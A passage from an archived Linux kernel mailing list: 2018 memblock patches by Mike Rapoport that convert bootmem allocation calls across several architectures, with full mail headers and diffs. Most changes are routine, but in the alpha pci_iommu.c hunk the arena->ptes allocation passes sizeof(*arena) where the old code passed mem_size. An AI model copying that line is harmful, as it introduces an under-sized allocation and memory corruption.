@@ -1594,8 +1594,8 @@ static void * __init pcpu_alloc_bootmem(unsigned int cpu, size_t size,
 		pr_debug("per cpu data for cpu%d %lu bytes at %016lx\n",
 			 cpu, size, __pa(ptr));
 	} else {
-		ptr = __alloc_bootmem_node(NODE_DATA(node),
-					   size, align, goal);
+		ptr = memblock_alloc_try_nid(size, align, goal,
+					     BOOTMEM_ALLOC_ACCESSIBLE, node);
 		pr_debug("per cpu data for cpu%d %lu bytes on node%d at "
 			 "%016lx\n", cpu, size, node, __pa(ptr));
 	}
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 17/30] memblock: replace alloc_bootmem_node with
 memblock_alloc_node
Date: Fri, 14 Sep 2018 15:10:32 +0300
Lines: 83
Approved: news@gmane.org
Message-ID: <1536927045-23536-18-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927088 31229 195.159.176.226 (14 Sep 2018 12:11:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:11:28 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:11:20 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mwR-0007vk-Pw
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:11:20 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=RRLI2MBkAMKI3pfbAN94s0BLqU4NMwcCadfTJJemkPg=; b=FMs8rCnXBnDRxCphHiaIV6qezG
	cH4HgB6bB/6v71cQCnXVjPcDvuy6JlwtNo899eWHSMZ0v6jbgYmmXL9WHIgooAz1qumTo/7AQY/nK
	hquYnRpibkK2thBsRohq/ZjCcFKMi4KMVXb9iQyBJp1/73Dy8Fcw+Rsm9BQbh65TpZNOucbfyRxo7
	bcUQuGxJDDwYfmS5G08/XyMGdKCu/Gfy0A76Kpqh1xCR2jNPqaoyobJsOvi4kdeT8Vt0/xkOCEhlV
	VmUQPXN/9Ml8qe4sJQxebI8Np61XMFHkSeV/Fg6/i1LXiTUUXrWCi7tI6xawWhf6oryd71Ia6Zy3j
	t/xiPFHw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0myS-0004W2-GW; Fri, 14 Sep 2018 12:13:24 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0my1-0004Gu-Qs
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:13:02 +0000
Original-Received: from pps.filterd (m0098404.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5JIU144862
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:52 -0400
Original-Received: from e06smtp02.uk.ibm.com (e06smtp02.uk.ibm.com [195.75.94.98])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgcfxgv1v-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:51 -0400
Original-Received: from localhost
 by e06smtp02.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:48 +0100
Original-Received: from b06cxnps4076.portsmouth.uk.ibm.com (9.149.109.198)
 by e06smtp02.uk.ibm.com (192.168.101.132) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:36 +0100
Original-Received: from d06av24.portsmouth.uk.ibm.com (d06av24.portsmouth.uk.ibm.com
 [9.149.105.60])
 by b06cxnps4076.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECCaS061931626
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:36 GMT
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 09DA442041;
 Fri, 14 Sep 2018 15:12:26 +0100 (BST)
Original-Received: from d06av24.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id CC5144204B;
 Fri, 14 Sep 2018 15:12:20 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av24.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:12:20 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:29 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0008-0000-0000-000002715A75
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0009-0000-0000-000021D9A057
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=695 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051258_028393_A731BAFB 
X-CRM114-Status: GOOD (  22.51  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:792 gmane.linux.kernel.mm:203328 gmane.linux.ports.mips.general:66630 gmane.linux.ports.ia64:29225 gmane.linux.ports.sh.devel:57501 gmane.linux.ports.sparc:28413 gmane.linux.ports.hexagon:1842 gmane.linux.kernel.arc:4355 gmane.linux.ports.alpha:5231 gmane.linux.ports.arm.kernel:674200 gmane.linux.ports.parisc:28953 gmane.linux.kernel:2870773 gmane.linux.ports.ppc64.devel:162488
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/792>

Both functions attempt to allocate memory with specified alignment from a
particular node. If the allocation from that node fails, they both fall
back to allocating from any node in the system.

Usage of native memblock API eliminates the nobootmem translation layer.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/alpha/kernel/pci_iommu.c   | 4 ++--
 arch/ia64/sn/kernel/io_common.c | 7 ++-----
 arch/ia64/sn/kernel/setup.c     | 4 ++--
 3 files changed, 6 insertions(+), 9 deletions(-)

diff --git a/arch/alpha/kernel/pci_iommu.c b/arch/alpha/kernel/pci_iommu.c
index 6923b0d..b52d76f 100644
--- a/arch/alpha/kernel/pci_iommu.c
+++ b/arch/alpha/kernel/pci_iommu.c
@@ -74,7 +74,7 @@ iommu_arena_new_node(int nid, struct pci_controller *hose, dma_addr_t base,
 
 #ifdef CONFIG_DISCONTIGMEM
 
-	arena = alloc_bootmem_node(NODE_DATA(nid), sizeof(*arena));
+	arena = memblock_alloc_node(sizeof(*arena), align, nid);
 	if (!NODE_DATA(nid) || !arena) {
 		printk("%s: couldn't allocate arena from node %d\n"
 		       "    falling back to system-wide allocation\n",
@@ -82,7 +82,7 @@ iommu_arena_new_node(int nid, struct pci_controller *hose, dma_addr_t base,
 		arena = alloc_bootmem(sizeof(*arena));
 	}
 
-	arena->ptes = __alloc_bootmem_node(NODE_DATA(nid), mem_size, align, 0);
+	arena->ptes = memblock_alloc_node(sizeof(*arena), align, nid);
 	if (!NODE_DATA(nid) || !arena->ptes) {
 		printk("%s: couldn't allocate arena ptes from node %d\n"
 		       "    falling back to system-wide allocation\n",
diff --git a/arch/ia64/sn/kernel/io_common.c b/arch/ia64/sn/kernel/io_common.c
index 102aaba..8b05d55 100644
--- a/arch/ia64/sn/kernel/io_common.c
+++ b/arch/ia64/sn/kernel/io_common.c
@@ -385,16 +385,13 @@ void __init hubdev_init_node(nodepda_t * npda, cnodeid_t node)
 {
 	struct hubdev_info *hubdev_info;
 	int size;
-	pg_data_t *pg;
 
 	size = sizeof(struct hubdev_info);
 
 	if (node >= num_online_nodes())	/* Headless/memless IO nodes */
-		pg = NODE_DATA(0);
-	else
-		pg = NODE_DATA(node);
+		node = 0;
 
-	hubdev_info = (struct hubdev_info *)alloc_bootmem_node(pg, size);
+	hubdev_info = (struct hubdev_info *)memblock_alloc_node(size, 0, node);
 
 	npda->pdinfo = (void *)hubdev_info;
 }
diff --git a/arch/ia64/sn/kernel/setup.c b/arch/ia64/sn/kernel/setup.c
index 5f6b6b4..ab2564f 100644
--- a/arch/ia64/sn/kernel/setup.c
+++ b/arch/ia64/sn/kernel/setup.c
@@ -511,7 +511,7 @@ static void __init sn_init_pdas(char **cmdline_p)
 	 */
 	for_each_online_node(cnode) {
 		nodepdaindr[cnode] =
-		    alloc_bootmem_node(NODE_DATA(cnode), sizeof(nodepda_t));
+		    memblock_alloc_node(sizeof(nodepda_t), 0, cnode);
 		memset(nodepdaindr[cnode]->phys_cpuid, -1,
 		    sizeof(nodepdaindr[cnode]->phys_cpuid));
 		spin_lock_init(&nodepdaindr[cnode]->ptc_lock);
@@ -522,7 +522,7 @@ static void __init sn_init_pdas(char **cmdline_p)
 	 */
 	for (cnode = num_online_nodes(); cnode < num_cnodes; cnode++)
 		nodepdaindr[cnode] =
-		    alloc_bootmem_node(NODE_DATA(0), sizeof(nodepda_t));
+		    memblock_alloc_node(sizeof(nodepda_t), 0, 0);
 
 	/*
 	 * Now copy the array of nodepda pointers to each nodepda.
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 18/30] memblock: replace alloc_bootmem_low_pages with
 memblock_alloc_low
Date: Fri, 14 Sep 2018 15:10:33 +0300
Lines: 158
Approved: news@gmane.org
Message-ID: <1536927045-23536-19-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927096 31730 195.159.176.226 (14 Sep 2018 12:11:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:11:36 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:11:27 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0mwZ-00084r-AP
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:11:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=uB8M8qb+Ih2Zeko/ZtzZKm2FcTGTsSfKJyfZPHLtQR4=; b=UtKXfQIp03ZUmGx3FKPk1SOLeF
	BN5u5vug65SZbE9Ihsw+Qb3br5pbuGENNUVtPmXxd4ZXOgY78HyDHYIe8iPGDISa9DEunCvdIJxBS
	K3fX5udmU12ObqjteCTisE4CuwylofDjuLkG6K2WbOby1QKpT4JlA3qB9IXcXGt4QHbtqzXPGn9ug
	sLX88YRB39U3I5uYAZJSRn3kpxm1kv268IlmbE6gZYAnv4PpRbBbLNlBK1LnIaumqTvejbUsjWX9F
	qLrFQ+i1ODzyX/siLv3Xoqmi0guCn8qq6DjKspXkAnZFB0uC9rcjXAiEX+Rtasmj5HTSw/HUyj/6j
	hC6M9Jtg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0mya-0004Zf-66; Fri, 14 Sep 2018 12:13:32 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0my6-0004JF-Fc
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:13:05 +0000
Original-Received: from pps.filterd (m0098421.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC4YZw096347
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:12:57 -0400
Original-Received: from e06smtp03.uk.ibm.com (e06smtp03.uk.ibm.com [195.75.94.99])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgay24x24-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:12:57 -0400
Original-Received: from localhost
 by e06smtp03.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:54 +0100
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (9.149.109.197)
 by e06smtp03.uk.ibm.com (192.168.101.133) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:43 +0100
Original-Received: from d06av25.portsmouth.uk.ibm.com (d06av25.portsmouth.uk.ibm.com
 [9.149.105.61])
 by b06cxnps4075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECCgLX52625452
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:42 GMT
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 844A211C05C;
 Fri, 14 Sep 2018 15:12:29 +0100 (BST)
Original-Received: from d06av25.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 6467C11C04C;
 Fri, 14 Sep 2018 15:12:24 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av25.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:12:24 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:35 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0012-0000-0000-000002A8D432
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0013-0000-0000-000020DD1EF4
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=720 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051302_689547_873DED26 
X-CRM114-Status: GOOD (  24.76  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4356 gmane.linux.kernel.mm:203329 gmane.linux.ports.mips.general:66631 gmane.linux.ports.ia64:29226 gmane.linux.ports.sh.devel:57502 gmane.linux.ports.sparc:28414 gmane.linux.ports.hexagon:1843 gmane.linux.ports.riscv:793 gmane.linux.ports.alpha:5232 gmane.linux.ports.arm.kernel:674201 gmane.linux.ports.parisc:28954 gmane.linux.kernel:2870774 gmane.linux.ports.ppc64.devel:162489
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4356>

The alloc_bootmem_low_pages() function allocates PAGE_SIZE aligned regions
from low memory. memblock_alloc_low() with alignment set to PAGE_SIZE does
exactly the same thing.

The conversion is done using the following semantic patch:

@@
expression e;
@@
- alloc_bootmem_low_pages(e)
+ memblock_alloc_low(e, PAGE_SIZE)

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/arc/mm/highmem.c                |  2 +-
 arch/m68k/atari/stram.c              |  3 ++-
 arch/m68k/mm/motorola.c              |  5 +++--
 arch/mips/cavium-octeon/dma-octeon.c |  2 +-
 arch/mips/mm/init.c                  |  3 ++-
 arch/um/kernel/mem.c                 | 10 ++++++----
 arch/xtensa/mm/mmu.c                 |  2 +-
 7 files changed, 16 insertions(+), 11 deletions(-)

diff --git a/arch/arc/mm/highmem.c b/arch/arc/mm/highmem.c
index 77ff64a..f582dc8 100644
--- a/arch/arc/mm/highmem.c
+++ b/arch/arc/mm/highmem.c
@@ -123,7 +123,7 @@ static noinline pte_t * __init alloc_kmap_pgtable(unsigned long kvaddr)
 	pud_k = pud_offset(pgd_k, kvaddr);
 	pmd_k = pmd_offset(pud_k, kvaddr);
 
-	pte_k = (pte_t *)alloc_bootmem_low_pages(PAGE_SIZE);
+	pte_k = (pte_t *)memblock_alloc_low(PAGE_SIZE, PAGE_SIZE);
 	pmd_populate_kernel(&init_mm, pmd_k, pte_k);
 	return pte_k;
 }
diff --git a/arch/m68k/atari/stram.c b/arch/m68k/atari/stram.c
index c83d664..1089d67 100644
--- a/arch/m68k/atari/stram.c
+++ b/arch/m68k/atari/stram.c
@@ -95,7 +95,8 @@ void __init atari_stram_reserve_pages(void *start_mem)
 {
 	if (kernel_in_stram) {
 		pr_debug("atari_stram pool: kernel in ST-RAM, using alloc_bootmem!\n");
-		stram_pool.start = (resource_size_t)alloc_bootmem_low_pages(pool_size);
+		stram_pool.start = (resource_size_t)memblock_alloc_low(pool_size,
+								       PAGE_SIZE);
 		stram_pool.end = stram_pool.start + pool_size - 1;
 		request_resource(&iomem_resource, &stram_pool);
 		stram_virt_offset = 0;
diff --git a/arch/m68k/mm/motorola.c b/arch/m68k/mm/motorola.c
index 4e17ecb..8bcf57e 100644
--- a/arch/m68k/mm/motorola.c
+++ b/arch/m68k/mm/motorola.c
@@ -55,7 +55,7 @@ static pte_t * __init kernel_page_table(void)
 {
 	pte_t *ptablep;
 
-	ptablep = (pte_t *)alloc_bootmem_low_pages(PAGE_SIZE);
+	ptablep = (pte_t *)memblock_alloc_low(PAGE_SIZE, PAGE_SIZE);
 
 	clear_page(ptablep);
 	__flush_page_to_ram(ptablep);
@@ -95,7 +95,8 @@ static pmd_t * __init kernel_ptr_table(void)
 
 	last_pgtable += PTRS_PER_PMD;
 	if (((unsigned long)last_pgtable & ~PAGE_MASK) == 0) {
-		last_pgtable = (pmd_t *)alloc_bootmem_low_pages(PAGE_SIZE);
+		last_pgtable = (pmd_t *)memblock_alloc_low(PAGE_SIZE,
+							   PAGE_SIZE);
 
 		clear_page(last_pgtable);
 		__flush_page_to_ram(last_pgtable);
diff --git a/arch/mips/cavium-octeon/dma-octeon.c b/arch/mips/cavium-octeon/dma-octeon.c
index 236833b..c44c1a6 100644
--- a/arch/mips/cavium-octeon/dma-octeon.c
+++ b/arch/mips/cavium-octeon/dma-octeon.c
@@ -244,7 +244,7 @@ void __init plat_swiotlb_setup(void)
 	swiotlb_nslabs = ALIGN(swiotlb_nslabs, IO_TLB_SEGSIZE);
 	swiotlbsize = swiotlb_nslabs << IO_TLB_SHIFT;
 
-	octeon_swiotlb = alloc_bootmem_low_pages(swiotlbsize);
+	octeon_swiotlb = memblock_alloc_low(swiotlbsize, PAGE_SIZE);
 
 	if (swiotlb_init_with_tbl(octeon_swiotlb, swiotlb_nslabs, 1) == -ENOMEM)
 		panic("Cannot allocate SWIOTLB buffer");
diff --git a/arch/mips/mm/init.c b/arch/mips/mm/init.c
index 400676c..a010fba7 100644
--- a/arch/mips/mm/init.c
+++ b/arch/mips/mm/init.c
@@ -244,7 +244,8 @@ void __init fixrange_init(unsigned long start, unsigned long end,
 			pmd = (pmd_t *)pud;
 			for (; (k < PTRS_PER_PMD) && (vaddr < end); pmd++, k++) {
 				if (pmd_none(*pmd)) {
-					pte = (pte_t *) alloc_bootmem_low_pages(PAGE_SIZE);
+					pte = (pte_t *) memblock_alloc_low(PAGE_SIZE,
+									   PAGE_SIZE);
 					set_pmd(pmd, __pmd((unsigned long)pte));
 					BUG_ON(pte != pte_offset_kernel(pmd, 0));
 				}
diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
index 3c0e470..185f6bb 100644
--- a/arch/um/kernel/mem.c
+++ b/arch/um/kernel/mem.c
@@ -64,7 +64,8 @@ void __init mem_init(void)
 static void __init one_page_table_init(pmd_t *pmd)
 {
 	if (pmd_none(*pmd)) {
-		pte_t *pte = (pte_t *) alloc_bootmem_low_pages(PAGE_SIZE);
+		pte_t *pte = (pte_t *) memblock_alloc_low(PAGE_SIZE,
+							  PAGE_SIZE);
 		set_pmd(pmd, __pmd(_KERNPG_TABLE +
 					   (unsigned long) __pa(pte)));
 		if (pte != pte_offset_kernel(pmd, 0))
@@ -75,7 +76,7 @@ static void __init one_page_table_init(pmd_t *pmd)
 static void __init one_md_table_init(pud_t *pud)
 {
 #ifdef CONFIG_3_LEVEL_PGTABLES
-	pmd_t *pmd_table = (pmd_t *) alloc_bootmem_low_pages(PAGE_SIZE);
+	pmd_t *pmd_table = (pmd_t *) memblock_alloc_low(PAGE_SIZE, PAGE_SIZE);
